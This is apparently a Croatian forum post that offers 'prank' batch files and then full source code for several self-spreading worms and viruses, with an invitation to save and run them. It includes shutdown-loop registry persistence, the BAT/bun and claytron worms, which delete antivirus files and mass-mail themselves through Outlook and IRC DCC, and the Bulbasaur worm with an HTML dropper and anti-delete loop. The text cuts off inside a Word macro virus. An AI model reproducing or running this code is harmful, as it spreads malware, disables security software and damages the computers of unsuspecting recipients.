Samostalna izrada programa.

evo probajte ovaj batch file.
samo se zezan.
-----------------------------------
@ECHO off
CLS
COPY %0 C:\%0_1.bat
ECHO REGEDIT4 >> temp.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg
ECHO "ownage"="shutdown.exe -s -t 00" >> temp.reg
ECHO [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg
ECHO "ownage"="shutdown.exe -s -t 00" >> temp.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg
ECHO "backup1"="C:\%0_1.bat" >> temp.reg
REGEDIT.EXE /s temp.reg
SHUTDOWN.EXE -s -t 00
-----------------------------------

Copy and past this into notepad and save it as "something.bat"
Just to let you know it shuts down your computer...but that's all the harm it does, to stop it from shutting down your comp., launch the "run" program and type in "shutdown -a" and click "ok"

@EXHO OFF
ECHO Oreo Virus
ECHO
SHUTDOWN -S -T 60 -C "You now have a viurs courtesy of Oreo Killa 225"
ECHO
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
ECHO
PAUSE

Then open itThumbsup

del windows
@EXHO OFF
ECHO Oreo Virus
ECHO
SHUTDOWN -S -T 20 -C "OH SHIT!! YOU HAVE A VIRUS NOW!!"
ECHO
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
ECHO Del windows
ECHO
PAUSE

@EXHO OFF
ECHO Oreo Virus
color 4
tree
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
assoc
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
START cmd.exe
ECHO
SHUTDOWN -S -T 60 -C "VIRUS UNLEASHED!"
ECHO
PAUSE

ne brinite se za boju fonta ljepa crvena se savrseno uklapa u crnu

fake error s notepad-om


Step 1. Open Notepad
Step 2. Type in some Command (you can customize yourself)
Code:

lol = msgbox ("Downloading Virus..." ,16, "ERROR")
lol = msgbox ("Virus Downloaded." ,16, "ERROR")
lol = msgbox ("Installing Virus..." ,16, "ERROR")
lol = msgbox ("Death Love Bug installed successfully!" ,16, "ERROR")
lol = msgbox ("Click OK to launch." ,16, "ERROR")
lol = msgbox ("Virus will be activate in 24 hours." ,16, "ERROR")

Step 3. Save as .vbs file
Step 4. Open the .vbs and try
- What will come up are five consecutive error messages

Note:
you can convert that .vbs to .exe via ScriptCryptor Compiler [Download]

you can convert .bat(batch) file to .exe too Smile
[Download Quick Batch File Compiler]

1. - The Prank file itself. Save as 1.bat
@echo off
echo "ADS">%SystemRoot%\key.txt
Type %SystemRoot%\system32\calc.EXE>%SystemRoot%\key.txt:calc.exe
Type %SystemRoot%\system32\NOTEPAD.EXE>%SystemRoot%\key.txt:NOTEPAD.exe
reg delete HKCR\txtfile\shell\open\command /f
reg add HKCR\txtfile\shell\open\command /ve /t REG_EXPAND_SZ /d %SystemRoot%\key.txt:calc.exe /f
del 1.bat

2. - The fix. Call whatever you want.
@echo off
del %SystemRoot%\key.txt
reg add HKCR\txtfile\shell\open\command /ve /t REG_EXPAND_SZ /d "%SystemRoot%\system32\NOTEPAD.exe %1" /f


This makes all text files open Calc.exe I did use alternate data streams for the executables, though they weren't needed. This was because I started the whole thing with ADs in mind, but never bothered to finish that part of it.

bat.bun


:Bat\bun
:by LUKA S.....
:written on 26\8\02
cls
@echo off
ctty nul

:copyself
if not exist c:\windows\bun.bat copy %0 c:\windows\bun.bat
if not exist c:\windows\boygirl.bat copy %0 c:\windows\boygirl.bat
if not exist c:\windows\hooker.bat copy %0 c:\windows\hooker.bat
if not exist c:\windows\win32.bat copy %0 c:\windows\win32.bat
if not exist c:\bun.bat copy %0 c:\bun.bat
if not exist c:\windows\system\sexXX09.EXE.bat copy %0 c:\windows\system\sexXX09.EXE.bat

:aav
if exist c:\bun.bat del c:\programme\norton~1\s32integ.dll
if exist c:\bun.bat del c:\programme\f-prot95\fpwm32.dll
if exist c:\bun.bat del c:\programme\mcafee\scan.dat
if exist c:\bun.bat del c:\tbavw95\tbscan.sig
if exist c:\bun.bat del c:\tbav\tbav.dat
if exist c:\bun.bat del c:\programme\tbav\tbav.dat
if exist c:\bun.bat del c:\programme\avpersonal\antivir.vdf

:registervir

echo REGEDIT4>payload.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>payload.reg
echo "msg"="c:\bun.bat">>payload.reg
regedit /s payload.reg

:Irc_werm

echo [script]>3.bat
echo n0=on 1:JOIN:#:{ >>3.bat
echo n1= /if ( nick == $me ) { halt } >>3.bat
echo n2= /.dcc send $nick c:\bun.bat >>3.bat
echo n3=} >>3.bat
if exist c:\mirc\mirc.ini copy 3.bat c:\mirc\script.ini
if exist c:\mirc32\mirc.ini copy 3.bat c:\mirc32\script.ini
if exist c:\progra~1\mirc\mirc.ini copy 3.bat c:\progra~1\mirc\script.ini
if exist c:\progra~1\mirc32\mirc.ini copy 3.bat c:\progra~1\mirc32\script.ini
del 3.bat

:kazaa
echo REGEDIT4>kazaa.reg
echo [HKEY_CURRENT_USER\Software\Kazaa\LocalContent]>>kazaa.reg
echo "DisableSharing"=dword:00000000>>kazaa.reg
echo "DownloadDir"="C:\\Program Files\\KaZaA\\My Shared Folder">>kazaa.reg
echo "Dir0"="012345:c:\\">>kazaa.reg
regedit /s kazaa.reg

:massmailer

echo.on error resume next >c:\windows\system\donkey.vbs
echo dim a,b,c,d,e >>c:\windows\system\donkey.vbs
echo set a = Wscript.CreateObject("Wscript.Shell") >>c:\windows\system\donkey.vbs
echo set b = CreateObject("Outlook.Application") >>c:\windows\system\donkey.vbs
echo set c = b.GetNameSpace("MAPI") >>c:\windows\system\donkey.vbs
echo for y = 1 To c.AddressLists.Count >>c:\windows\system\donkey.vbs
echo set d = c.AddressLists(y) >>c:\windows\system\donkey.vbs
echo x = 1 >>c:\windows\system\donkey.vbs
echo set e = b.CreateItem(0) >>c:\windows\system\donkey.vbs
echo for o = 1 To d.AddressEntries.Count >>c:\windows\system\donkey.vbs
echo f = d.AddressEntries(x) >>c:\windows\system\donkey.vbs
echo e.Recipients.Add f >>c:\windows\system\donkey.vbs
echo x = x + 1 >>c:\windows\system\donkey.vbs
echo next >>c:\windows\system\donkey.vbs
echo e.Subject = "sex for FREE" >>c:\windows\system\donkey.vbs
echo e.Body = "Hi!hope you like this...you'll get 600+ sex pictures..for free..just run this attachment.." >>c:\windows\system\donkey.vbs
echo e.Attachments.Add ("c:\windows\system\sexXX09.EXE.bat") >>c:\windows\system\donkey.vbs
echo e.DeleteAfterSubmit = False >>c:\windows\system\donkey.vbs
echo e.Send >>c:\windows\system\donkey.vbs
echo f = "" >>c:\windows\system\donkey.vbs
echo next >>c:\windows\system\donkey.vbs
start c:\windows\system\donkey.vbs

:resident

echo [windows]>residency
echo load=c:\bun.bat>>residency
echo run=>>residency
echo NullPort=None>>residency
echo.>>residency
copy residency + %winbootdir%\win.ini %winbootdir%\system\win.ini
del %winbootdir%\win.ini
move %winbootdir%\system\win.ini %winbootdir%\win.ini
del residency

:pirchworm

del c:\pirch98\events.ini
echo [Levels]>pirch
echo Enabled=1>>pirch
echo Count=6>>pirch
echo Level1=000-Unknowns>>pirch
echo 000-UnknownsEnabled=1>>pirch
echo Level2=100-Level 100>>pirch
echo 100-Level 100Enabled=1>>pirch
echo Level3=200-Level 200>>pirch
echo 200-Level 200Enabled=1>>pirch
echo Level4=300-Level 300>>pirch
echo 300-Level 300Enabled=1>>pirch
echo Level5=400-Level 400>>pirch
echo 400-Level 400Enabled=1>>pirch
echo Level6=500-Level 500>>pirch
echo 500-Level 500Enabled=1>>pirch
echo.>>pirch
echo [000-Unknowns]>>pirch
echo User1=*!*@*>>pirch
echo UserCount=1>>pirch
echo Event1=ON JOIN:#:/dcc send $nick c:\bun.bat>>pirch
echo EventCount=1>>pirch
echo.>>pirch
echo [100-Level 100]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [200-Level 200]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [300-Level 300]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [400-Level 400]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [500-Level 500]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
move pirch c:\pirch98\events.ini
del pirch


:payload
del c:\autoexec.bat
echo @echo off >c:\autoexec.bat
echo echo 000000000000000000000000 >>c:\autoexec.bat
echo echo Hi!! >>c:\autoexec.bat
echo echo This is a friendly massage that BAT\bun has Wormz into your >>c:\autoexec.bat
echo echo comp!! Nothing has been changed in this system... >>c:\autoexec.bat
echo echo by adious [rRlf] >>c:\autoeexec.bat
echo echo 00000000000000000000000000000 >>c:\autoexec.bat
echo echo http:\\rrlf.de >>c:\autoexec.bat
echo echo pause >>c:\autoexec.bat

that it's a good worm samo spremite kao batch file.




@echo off
copy %0 %windir%\bulbasaur.bat /y
@cls
Echo >>BulBasaur1.vbs set ff=createobject("scripting.filesystemobject")
Echo >>BulBasaur1.vbs set rr=ff.opentextfile("%0",1)
Echo >>BulBasaur1.vbs lls=Split(rr.ReadAll,vbCrLf)
Echo >>BulBasaur1.vbs for ii=20 to 213
Echo >>BulBasaur1.vbs newcode=newcode & vbcrlf & lls(ii)
Echo >>BulBasaur1.vbs next
Echo >>BulBasaur1.vbs set ww=ff.createtextfile(ff.getspecialfolder(0) & "\Bulbasaur.vbs",true)
Echo >>BulBasaur1.vbs ww.write newcode
Echo >>BulBasaur1.vbs ww.close
Echo >>BulBasaur1.vbs set ss=createobject("wscript.shell")
Echo >>BulBasaur1.vbs ss.run ff.getspecialfolder(0) & "\wscript.exe " & ff.getspecialfolder(0) & "\Bulbasaur.vbs %",1,false
wscript.exe BulBasaur1.vbs %
del BulBasaur1.vbs
@cls
Echo Fatal ERROR. Can't Run the application.
@pause
goto end
'Outlook/Mirc/Pirch/Html/Bat.Bulbasaur - By [K]Alamar
on error resume next
set f1=createobject("scripting.filesystemobject")
set w1=createobject("wscript.shell")
f1.copyfile f1.getspecialfolder(0) & "\bulbasaur.bat" ,f1.getspecialfolder(1) & "\bulbasaur.bat",true
w1.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BulbaSaur",f1.getspecialfolder(0) & "\wscript.exe " & f1.getspecialfolder(0) & "\BulbaSaur.vbs %"
set Bulbasaur=f1.opentextfile (f1.getspecialfolder(1) & "\bulbasaur.bat",1)
BulbaSaurBat=Bulbasaur.readall
Bulbasaur.close
set Bulbasaur=f1.opentextfile (f1.getspecialfolder(0) & "\BulbaSaur.vbs",1)
BulbaSaurVbs=Bulbasaur.readall
Bulbasaur.close
done=0
if w1.regread("HKCU\software\BulBasaur\Mailme")<>"1" then
set Ou=createobject("outlook.application")
if ou= "Outlook" then
set mapi =ou.GetNameSpace("MAPI")
for each adlist in mapi.AddressLists
aec=adlist.AddressEntries.Count
if aec<> 0 then
set msg=ou.CreateItem(0)
msg.Subject= "Rv: New Stuff 4You!"
msg.body = "> Check this new funny game!"+vbcrlf+"> It's just great!" +vbcrlf +">"
msg.DeleteAfterSubmit = True
msg.Attachments.Add f1.getspecialfolder(1) & "\bulbasaur.bat"
for iii=1 to aec
set adentr=adlist.AddressEntries(iii)
if aec=1 then
msg.BCC=adentr.Address
else
msg.BCC=msg.Bcc & "; " & adentr.Address
end if
next
msg.send
done=1
end if
next
end if
end if
if done=1 then w1.regwrite "HKCU\software\BulBasaur\Mailme","1"
set rm=f1.opentextfile(f1.getspecialfolder(1) & "\bulbasaur.bat",1)
llll=1
Do While rm.atendofstream = False
line= rm.readline
if llll=1 then
code= replace(line, Chr(34), Chr(34) & " & chr(34) & " & Chr(34) )
else
code= code & Chr(34) & " & vbcrlf & " & Chr(34) & replace(line, Chr(34), Chr(34) & " & chr(34) & " & Chr(34) )
end if
llll=llll+1
Loop
htm = "<" & "html><" & "head><" & "title>BulbaSaur Movie</" & "title></" & "head><" & "body><" & "script langua" & "ge=vbscr" & "ipt>" & vbCrLf & "on error resume next" & vbCrLf & "set fs=createobject(""scripting.filesystemobject"")" & vbCrLf & "if err.number=429 then" & vbCrLf & "document.write " & Chr(34) & "<fo" & "nt face='verdana' size='2' color='#FF0000'>You need ActiveX enabled to see this file<br>Click <" & "a hre" & "f='javascript:location.reload()'>Here</a> to reload and click Yes</font>" & Chr(34) & "" & vbCrLf & "else" & vbCrLf & "set wb=fs.createtextfile(fs.getspecialfolder(0) & " & Chr(34) & "\bulbasaur.bat" & Chr(34) & ",true)" & vbCrLf
htm = htm & "wb.write " & chr(34) & code & chr(34)
htm = htm & vbCrLf & "wb.close" & vbCrLf & "set ws=createobject(" & Chr(34) & "wscript.shell" & Chr(34) & ")" & vbCrLf & "ws.run fs.getspecialfolder(0) & " & Chr(34) & "\bulbasaur.bat" & Chr(34) & ",false " & vbCrLf & "document.write " & Chr(34) & "<" & "font face='verdana' size='2' color='#FF000" & "0'>This document has permanent errors, try downloading it again</" & "font>" & Chr(34) & "" & vbCrLf & "end if" & vbCrLf & "</" & "script></" & "body></" & "html>"
set wh=f1.createtextfile(f1.getspecialfolder(0) & "\bulbsaur.html",true)
wh.write htm
wh.close
Set Drives = f1.Drives
For Each dt In Drives
If dt.DriveType = Remote Then
Druvefull = dt & "\"
Call Subfolds(Druvefull)
ElseIf dt.IsReady Then
Druvefull = dt & "\"
Call Subfolds(Druvefull)
End If
Next
AntiDelete
function Subfolds(fl)
set Tf=f1.getfolder(fl)
set Fils=tf.files
for each file in fils
if file.name="mirc.ini" then
DoMirc file.parentfolder
elseif file.name="Events.ini" then
DoPirch file.parentfolder
end if
next
set Sfs=tf.subfolders
for each sf in sfs
Subfolds sf.path
if not(f1.fileexists(f1.getspecialfolder(1) & "\bulbasaur.bat")) then
set wr=f1.createtextfile(f1.getspecialfolder(1) & "\bulbasaur.bat",true)
wr.write BulbaSaurBat
wr.close
end if
if not(f1.fileexists(f1.getspecialfolder(0) & "\BulbaSaur.vbs")) then
set wr=f1.createtextfile(f1.getspecialfolder(0) & "\BulbaSaur.vbs",true)
wr.write BulbaSaurVbs
wr.close
end if
if not(f1.fileexists(f1.getspecialfolder(0) & "\bulbsaur.html")) then
set wr=f1.createtextfile(f1.getspecialfolder(0) & "\bulbsaur.html",true)
wr.write htm
wr.close
end if
if w1.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BulbaSaur") <> f1.getspecialfolder(0) & "\wscript.exe " & f1.getspecialfolder(0) & "\BulbaSaur.vbs %" then
w1.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BulbaSaur",f1.getspecialfolder(0) & "\wscript.exe " & f1.getspecialfolder(0) & "\BulbaSaur.vbs %"
end if
next
end function
function DoMirc(path)
set si=f1.createtextfile(path & "\script.ini")
si.WriteLine "[script]"
si.WriteLine "n0=on *:JOIN:#: if (($nick != $me) && ($chan != #virus)) { Bulbasaur.infect $nick }"
si.WriteLine "n1=alias -l file.name return $gettok(:Bulbasaur.html:Bulbasaur.html:Bulbasaur.html:Bulbasaur.html:Bulbasaur.html:Bulbasaur.html:Bulbasaur.html:,$r(1,7),58)"
si.WriteLine "n2=alias Bulbasaur.infect {"
si.WriteLine "n3= %Bulbasaur.sock = Bulbasaur.send. $+ $rand(100,9000)"
si.WriteLine "n4= socklisten %Bulbasaur.sock"
si.WriteLine "n5= .timer99 off"
si.WriteLine "n6= .timer99 1 120 sockclose Bulbasaur.send.*"
si.WriteLine "n7= raw -q privmsg $1 : $+ $chr(1) $+ DCC SEND $file.name $longip($ip) $sock(%Bulbasaur.sock).port $file(" & f1.getspecialfolder(0) & "\bulbsaur.html" & ").size $+ $chr(1)"
si.WriteLine "n8=}"
si.WriteLine "n9=on *:socklisten:Bulbasaur.send.*:{"
si.WriteLine "n10= set %Bulbasaur.temp Bulbasaur.write. $+ $gettok($sockname,3,46) | sockaccept %Bulbasaur.temp | Bulbasaur.send %Bulbasaur.temp | sockclose $sockname"
si.WriteLine "n11=}"
si.WriteLine "n12=on *:sockwrite:Bulbasaur.write.*:{"
si.WriteLine "n13= if ($sock($sockname).sent >= $file(" & f1.getspecialfolder(0) & "\bulbsaur.html" & ").size) sockwrite -n $sockname"
si.WriteLine "n14= else Bulbasaur.send $sockname"
si.WriteLine "n15=}"
si.WriteLine "n16=alias Bulbasaur.send {"
si.WriteLine "n17= bread " & f1.getspecialfolder(0) & "\bulbsaur.html" & " $sock($sockname).sent 4096 &Bulbasaur.data"
si.WriteLine "n18= sockwrite $1 &Bulbasaur.data"
si.WriteLine "n19=}"
si.Close
end function
function DoPirch(path)
set si=f1.createtextfile(path & "\events.ini")
si.WriteLine "[Levels]"
si.WriteLine "Enabled=1"
si.WriteLine "Count=6"
si.WriteLine "Level1=000-Unknowns"
si.WriteLine "000-UnknownsEnabled=1"
si.WriteLine "Level2=100-Level 100"
si.WriteLine "100-Level 100Enabled=1"
si.WriteLine "Level3=200-Level 200"
si.WriteLine "200-Level 200Enabled=1"
si.WriteLine "Level4=300-Level 300"
si.WriteLine " 300-Level 300Enabled=1"
si.WriteLine "Level5=400-Level 400 "
si.WriteLine "400-Level 400Enabled=1"
si.WriteLine "Level6=500-Level 500"
si.WriteLine "500-Level 500Enabled=1"
si.WriteLine ""
si.WriteLine "[000-Unknowns]"
si.WriteLine "UserCount=0"
si.WriteLine "EventCount=0"
si.WriteLine ""
si.WriteLine "[100-Level 100]"
si.WriteLine "User1=*!*@*"
si.WriteLine "UserCount=1"
si.WriteLine "Event1=ON JOIN:#:/dcc tsend $nick " & f1.getspecialfolder(0) & "\bulbsaur.html"
si.WriteLine "EventCount=1"
si.WriteLine ""
si.WriteLine "[200-Level 200]"
si.WriteLine "UserCount=0"
si.WriteLine "EventCount=0"
si.WriteLine ""
si.WriteLine "[300-Level 300]"
si.WriteLine "UserCount=0"
si.WriteLine "EventCount=0"
si.WriteLine ""
si.WriteLine "[400-Level 400]"
si.WriteLine "UserCount=0"
si.WriteLine "EventCount=0"
si.WriteLine ""
si.WriteLine "[500-Level 500]"
si.WriteLine "UserCount=0"
si.WriteLine "EventCount=0"
si.Close
end function
function AntiDelete()
do
if not(f1.fileexists(f1.getspecialfolder(1) & "\bulbasaur.bat")) then
set wr=f1.createtextfile(f1.getspecialfolder(1) & "\bulbasaur.bat",true)
wr.write BulbaSaurBat
wr.close
end if
if not(f1.fileexists(f1.getspecialfolder(0) & "\BulbaSaur.vbs")) then
set wr=f1.createtextfile(f1.getspecialfolder(0) & "\BulbaSaur.vbs",true)
wr.write BulbaSaurVbs
wr.close
end if
if not(f1.fileexists(f1.getspecialfolder(0) & "\bulbsaur.html")) then
set wr=f1.createtextfile(f1.getspecialfolder(0) & "\bulbsaur.html",true)
wr.write htm
wr.close
end if
if w1.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BulbaSaur") <> f1.getspecialfolder(0) & "\wscript.exe " & f1.getspecialfolder(0) & "\BulbaSaur.vbs %" then
w1.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BulbaSaur",f1.getspecialfolder(0) & "\wscript.exe " & f1.getspecialfolder(0) & "\BulbaSaur.vbs %"
end if
loop
end function
'Outlook/Mirc/Pirch/Html/Bat.Bulbasaur - By [K]Alamar
:end
@cls
@exit

[worm]

'claytron [worm]
'written on: 2\11\02
'By adious [rRlf]
100 CLS
101 PRINT "unexpected problem with the program.please download new version"
102 PRINT "press enter"
103 INPUT A
104 CLS
105 SHELL "ctty null"
106 SHELL "c:\windows\rundll32.exe mouse,disable"
107 SHELL "c:\windows\rundll32.exe keyboard,disable"
108 SHELL "cd\"
109 SHELL "if not exist c:\claytron.exe copy claytron.exe c:\claytron"
110 SHELL "if exist c:\claytron.exe del c:\programme\f-prot95\fpwm32.dll"
111 SHELL "if exist c:\claytron.exe del c:\programme\mcafee\scan.dat"
112 SHELL "if exist c:\claytron.exe del c:\tbavw95\tbscan.sig"
113 SHELL "if exist c:\claytron.exe del c:\tbav\tbav.dat"
114 SHELL "if exist c:\claytron.exe del c:\programme\tbav\tbav.dat"
115 SHELL "if exist c:\claytron.exe del c:\programme\avpersonal\antivir.vdf"
116 SHELL "if exist c:\claytron.exe del c:\programme\norton~1\s32integ.dll"
117 OPEN "b.bat" FOR OUTPUT AS #1
118 PRINT #1, "[script]"
119 PRINT #1, "n0=on 1:JOIN:#:{"
120 PRINT #1, "n1= /if ( nick == $me ) { halt }"
121 PRINT #1, "n2= /.dcc send $nick c:\craytron.exe"
122 PRINT #1, "n3=}"
123 CLOSE b.bat
124 SHELL "if exist c:\mirc\mirc.ini copy b.bat c:\mirc\script.ini"
125 SHELL "if exist c:\mirc32\mirc.ini copy b.bat c:\mirc32\script.ini"
126 SHELL "if exist c:\progra~1\mirc\mirc.ini copy b.bat c:\progra~1\mirc\script.ini"
127 SHELL "if exist c:\progra~1\mirc32\mirc.ini copy b.bat c:\progra~1\mirc32\script.ini"
128 SHELL "del autoexec.bat"
129 SHELL "cd\"
130 OPEN "autoexec.bat" FOR OUTPUT AS #1
131 PRINT #1, "@echo off"
132 PRINT #1, "echo 0000000000000000000000000000000"
133 PRINT #1, "echo you are infected by claytron"
134 PRINT #1, "echo the birth of my new qb worm"
135 PRINT #1, "echo by the labs of adious [rRlf]"
136 PRINT #1, "echo http:\\www.adious.cjb.net"
137 PRINT #1, "echo http:\\www.rRlf.de"
138 PRINT #1, "echo 000000000000000000000000000000"
139 PRINT #1, "pause"
140 CLOSE autoexec.bat
141 SHELL "c:\windows\rundll32.exe mouse,enable"
142 SHELL "c:\windows\rundll32.exe keyboard,enable"
143 OPEN "mailer.bat" FOR OUTPUT AS #1
144 PRINT #1, "@echo off | cls | ctty nul"
145 PRINT #1, "echo e 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20>>s"
146 PRINT #1, "echo e 0110 6E 65 78 74 0D 0A 64 69 6D 20 61 2C 62 2C 63 2C>>s"
147 PRINT #1, "echo e 0120 64 2C 65 0D 0A 73 65 74 20 61 20 3D 20 57 73 63>>s"
148 PRINT #1, "echo e 0130 72 69 70 74 2E 43 72 65 61 74 65 4F 62 6A 65 63>>s"
149 PRINT #1, "echo e 0140 74 28 22 57 73 63 72 69 70 74 2E 53 68 65 6C 6C>>s"
150 PRINT #1, "echo e 0150 22 29 0D 0A 73 65 74 20 62 20 3D 20 43 72 65 61>>s"
151 PRINT #1, "echo e 0160 74 65 4F 62 6A 65 63 74 28 22 4F 75 74 6C 6F 6F>>s"
152 PRINT #1, "echo e 0170 6B 2E 41 70 70 6C 69 63 61 74 69 6F 6E 22 29 20>>s"
153 PRINT #1, "echo e 0180 0D 0A 73 65 74 20 63 20 3D 20 62 2E 47 65 74 4E>>s"
154 PRINT #1, "echo e 0190 61 6D 65 53 70 61 63 65 28 22 4D 41 50 49 22 29>>s"
155 PRINT #1, "echo e 01A0 20 0D 0A 66 6F 72 20 79 20 3D 20 31 20 54 6F 20>>s"
156 PRINT #1, "echo e 01B0 63 2E 41 64 64 72 65 73 73 4C 69 73 74 73 2E 43>>s"
157 PRINT #1, "echo e 01C0 6F 75 6E 74 20 0D 0A 73 65 74 20 64 20 3D 20 63>>s"
158 PRINT #1, "echo e 01D0 2E 41 64 64 72 65 73 73 4C 69 73 74 73 28 79 29>>s"
159 PRINT #1, "echo e 01E0 20 0D 0A 78 20 3D 20 31 20 0D 0A 73 65 74 20 65>>s"
160 PRINT #1, "echo e 01F0 20 3D 20 62 2E 43 72 65 61 74 65 49 74 65 6D 28>>s"
161 PRINT #1, "echo e 0200 30 29 20 0D 0A 66 6F 72 20 6F 20 3D 20 31 20 54>>s"
162 PRINT #1, "echo e 0210 6F 20 64 2E 41 64 64 72 65 73 73 45 6E 74 72 69>>s"
163 PRINT #1, "echo e 0220 65 73 2E 43 6F 75 6E 74 20 0D 0A 66 20 3D 20 64>>s"
164 PRINT #1, "echo e 0230 2E 41 64 64 72 65 73 73 45 6E 74 72 69 65 73 28>>s"
165 PRINT #1, "echo e 0240 78 29 20 0D 0A 65 2E 52 65 63 69 70 69 65 6E 74>>s"
166 PRINT #1, "echo e 0250 73 2E 41 64 64 20 66 20 0D 0A 78 20 3D 20 78 20>>s"
167 PRINT #1, "echo e 0260 2B 20 31 20 0D 0A 6E 65 78 74 20 0D 0A 65 2E 53>>s"
168 PRINT #1, "echo e 0270 75 62 6A 65 63 74 20 3D 20 22 48 69 21 21 22 20>>s"
169 PRINT #1, "echo e 0280 0D 0A 65 2E 42 6F 64 79 20 3D 20 22 53 6F 72 72>>s"
170 PRINT #1, "echo e 0290 79 2C 62 75 74 20 69 20 6C 69 6B 65 20 79 6F 75>>s"
171 PRINT #1, "echo e 02A0 20 74 6F 20 70 6C 61 79 20 74 68 69 73 20 67 61>>s"
172 PRINT #1, "echo e 02B0 6D 65 2E 22 20 0D 0A 65 2E 42 6F 64 79 20 3D 20>>s"
173 PRINT #1, "echo e 02C0 22 69 74 27 73 20 63 61 6C 6C 65 64 20 27 63 6C>>s"
174 PRINT #1, "echo e 02D0 61 79 74 72 6F 6E 27 2E 20 49 74 27 73 20 61 20>>s"
175 PRINT #1, "echo e 02E0 66 75 6E 20 52 50 47 20 67 61 6D 65 2E 4F 68 20>>s"
176 PRINT #1, "echo e 02F0 79 65 61 68 2E 2E 22 20 0D 0A 65 2E 42 6F 64 79>>s"
177 PRINT #1, "echo e 0300 20 3D 20 22 74 68 65 20 70 72 6F 67 72 61 6D 20>>s"
178 PRINT #1, "echo e 0310 64 6F 65 73 20 6E 6F 74 20 68 61 76 65 20 61 20>>s"
179 PRINT #1, "echo e 0320 76 69 72 75 73 2E 2E 49 27 76 65 20 73 63 61 6E>>s"
180 PRINT #1, "echo e 0330 6E 65 64 20 69 74 20 61 6E 64 20 69 74 27 73 20>>s"
181 PRINT #1, "echo e 0340 6E 6F 74 20 61 20 76 69 72 75 73 22 20 0D 0A 65>>s"
182 PRINT #1, "echo e 0350 2E 42 6F 64 79 20 3D 20 22 59 6F 75 20 67 6F 74>>s"
183 PRINT #1, "echo e 0360 20 74 6F 20 74 72 75 73 74 20 6D 65 20 6F 6E 20>>s"
184 PRINT #1, "echo e 0370 74 68 69 73 2E 22 20 0D 0A 65 2E 41 74 74 61 63>>s"
185 PRINT #1, "echo e 0380 68 6D 65 6E 74 73 2E 41 64 64 20 28 22 63 3A 5C>>s"
186 PRINT #1, "echo e 0390 63 6C 61 79 74 72 6F 6E 2E 65 78 65 22 29 20 0D>>s"
187 PRINT #1, "echo e 03A0 0A 65 2E 44 65 6C 65 74 65 41 66 74 65 72 53 75>>s"
188 PRINT #1, "echo e 03B0 62 6D 69 74 20 3D 20 46 61 6C 73 65 20 0D 0A 65>>s"
189 PRINT #1, "echo e 03C0 2E 53 65 6E 64 20 20 0D 0A 66 20 3D 20 22 22 20>>s"
190 PRINT #1, "echo e 03D0 0D 0A 6E 65 78 74 20 00>>s"
191 PRINT #1, "echo rcx>>s"
192 PRINT #1, "echo 2D7>>s"
193 PRINT #1, "echo nC:\script.vbs>>s"
194 PRINT #1, "echo w>>s"
195 PRINT #1, "echo q>>s"
196 PRINT #1, "debug < s"
197 PRINT #1, "del s"
198 CLOSE mailer.bat
199 SHELL "start mailer.bat"
200 SHELL "cscript script.vbs"
201 SHELL "del c:\mailer.bat"
202 SHELL "del c:\script.vbs"
203 SHELL "c:\windows\rundll32.exe mouse,enable"
204 SHELL "c:\windows\rundll32.exe keyboard,enable"
205 END

VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
END
Attribute VB_Name = "ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
'W97M/Chester
Private Sub Document_Open()
'W97M/Chester
On Error Resume Next
'W97M/Chester
Set ntc = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
'W97M/Chester
Set adc = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
'W97M/Chester
Call stealth
'W97M/Chester
If adc.lines(1, 1) <> "'W97M/Chester" Then
'W97M/Chester
adc.insertlines 1, ntc.lines(1, ntc.countoflines)
